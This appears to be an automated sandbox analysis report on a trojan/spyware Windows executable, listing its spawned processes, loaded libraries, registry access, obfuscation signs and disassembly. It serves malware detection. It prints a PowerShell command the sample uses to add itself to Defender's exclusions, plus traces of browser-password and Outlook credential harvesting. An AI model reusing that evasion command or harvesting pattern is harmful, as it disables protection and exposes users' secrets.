Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, XWwa6bWsPleF4dvV8t.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, XWwa6bWsPleF4dvV8t.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, aAZly5Crsqfj1ghU4r.cs	Security API names: _0020.SetAccessControl
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, aAZly5Crsqfj1ghU4r.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, aAZly5Crsqfj1ghU4r.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/7@5/5

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NU1aAbSmCr.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4344:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixrxqhbp.4x5.ps1

Source: NU1aAbSmCr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: NU1aAbSmCr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: NETSTAT.EXE, 0000000B.00000003.2001188381.0000000003343000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2579150975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.2001296966.0000000003364000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2579150975.0000000003391000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: NU1aAbSmCr.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\NU1aAbSmCr.exe "C:\Users\user\Desktop\NU1aAbSmCr.exe"
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NU1aAbSmCr.exe"
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Users\user\Desktop\NU1aAbSmCr.exe "C:\Users\user\Desktop\NU1aAbSmCr.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NU1aAbSmCr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process created: C:\Users\user\Desktop\NU1aAbSmCr.exe "C:\Users\user\Desktop\NU1aAbSmCr.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: snmpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: NU1aAbSmCr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: NU1aAbSmCr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: NU1aAbSmCr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: tTOn.pdbSHA256 source: NU1aAbSmCr.exe
Source:	Binary string: netstat.pdbGCTL source: NU1aAbSmCr.exe, 00000004.00000002.1821360439.0000000001157000.00000004.00000020.00020000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000002.2579923948.0000000001227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netstat.pdb source: NU1aAbSmCr.exe, 00000004.00000002.1821360439.0000000001157000.00000004.00000020.00020000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000002.2579923948.0000000001227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mCFHCvdrqdDiDT.exe, 0000000A.00000002.2578656019.000000000005E000.00000002.00000001.01000000.0000000C.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000000.1887553135.000000000005E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: NU1aAbSmCr.exe, 00000004.00000002.1821551688.00000000015B0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.1821240093.0000000003553000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.0000000003A5E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.00000000038C0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.1823573799.000000000370C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: NU1aAbSmCr.exe, NU1aAbSmCr.exe, 00000004.00000002.1821551688.00000000015B0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, NETSTAT.EXE, 0000000B.00000003.1821240093.0000000003553000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.0000000003A5E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.00000000038C0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.1823573799.000000000370C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tTOn.pdb source: NU1aAbSmCr.exe

Data Obfuscation

Source: NU1aAbSmCr.exe, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, aAZly5Crsqfj1ghU4r.cs	.Net Code: kIl6PxJ2J5 System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.2a6e8c4.1.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.2ab4188.0.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.2abd7a0.3.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, aAZly5Crsqfj1ghU4r.cs	.Net Code: kIl6PxJ2J5 System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.6e20000.5.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 0.2.NU1aAbSmCr.exe.2a652ac.2.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 11.2.NETSTAT.EXE.3eecd14.2.raw.unpack, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 14.2.mCFHCvdrqdDiDT.exe.257cd14.1.raw.unpack, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 14.0.mCFHCvdrqdDiDT.exe.257cd14.1.raw.unpack, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 15.2.firefox.exe.5eccd14.0.raw.unpack, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])

Source: NU1aAbSmCr.exe

Static PE information: 0xC29198FE [Sat Jun 10 12:03:10 2073 UTC]

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 0_2_06ED0006 push es; retf	0_2_06ED001C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00402095 push ss; iretd	4_2_004020A8
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00414171 push FB06D95Fh; retf	4_2_0041417F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0040B9BB pushfd ; iretd	4_2_0040B9C1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0041922D push ebx; iretd	4_2_00419237
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0040229B pushad ; iretd	4_2_0040229C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0041EB21 push es; retf	4_2_0041EB2F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0040AB94 push edi; ret	4_2_0040AB96
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00403470 push eax; ret	4_2_00403472
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0041AC75 push 4C25DD1Ah; ret	4_2_0041AC7A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004124EA push eax; retf	4_2_00412512
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_004124F3 push eax; retf	4_2_00412512
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0040D572 push ss; ret	4_2_0040D577
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0040AD00 push ebp; iretd	4_2_0040AD01
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00418694 push ds; retf	4_2_00418695
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_00406717 push esi; ret	4_2_0040671A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015B225F pushad ; ret	4_2_015B27F9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015B27FA pushad ; ret	4_2_015B27F9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E09AD push ecx; mov dword ptr [esp], ecx	4_2_015E09B6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015B283D push eax; iretd	4_2_015B2858
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FA92E6 push ebp; iretd	10_2_02FA92E7
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB0AD0 push eax; retf	10_2_02FB0AF8
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB925B push 4C25DD1Ah; ret	10_2_02FB9260
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FA9382 push esp; iretd	10_2_02FA9383
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FABB58 push ss; ret	10_2_02FABB5D
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB7813 push ebx; iretd	10_2_02FB781D
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FA917A push edi; ret	10_2_02FA917C
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FBD107 push es; retf	10_2_02FBD115
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FA9FA1 pushfd ; iretd	10_2_02FA9FA7
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FB2757 push FB06D95Fh; retf	10_2_02FB2765
Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe	Code function: 10_2_02FA4CFD push esi; ret	10_2_02FA4D00

Source: NU1aAbSmCr.exe

Static PE information: section name: .text entropy: 7.879696863228832

Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, tQdy11d6ImjZgTeIqp.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'tcyvx7LDs1', 'ygOv7QJADU', 'oaAvzorxx6', 'qcE1j45nu0', 'FCb1bojcC8', 'xb81vVHfKB', 'N8l11rWAJn', 'QKQpqbjXruDqFYyVtwZ'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, IVbgTfTQ1POo67aCur.cs	High entropy of concatenated method names: 'fTqQAoGQiT', 'D1iQdFCFdF', 'VJDQGmdkwo', 'GamG7MUlLq', 'ikHGzGLb3y', 'IjOQjZNBCW', 'q9BQbbGY9n', 'jZlQvWB98n', 'koVQ1fXRNF', 'c8nQ6f1SsE'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, poGijHhIotUk5asnJA.cs	High entropy of concatenated method names: 'Dispose', 's6hbxr3l7U', 'MGJvN5hncE', 'lgAHHPrn9u', 'LTMb7lII1l', 'HdZbzaP37u', 'ProcessDialogKey', 'RJyvjSeEeq', 'QfYvbUrYvI', 'uwDvvFEFA2'
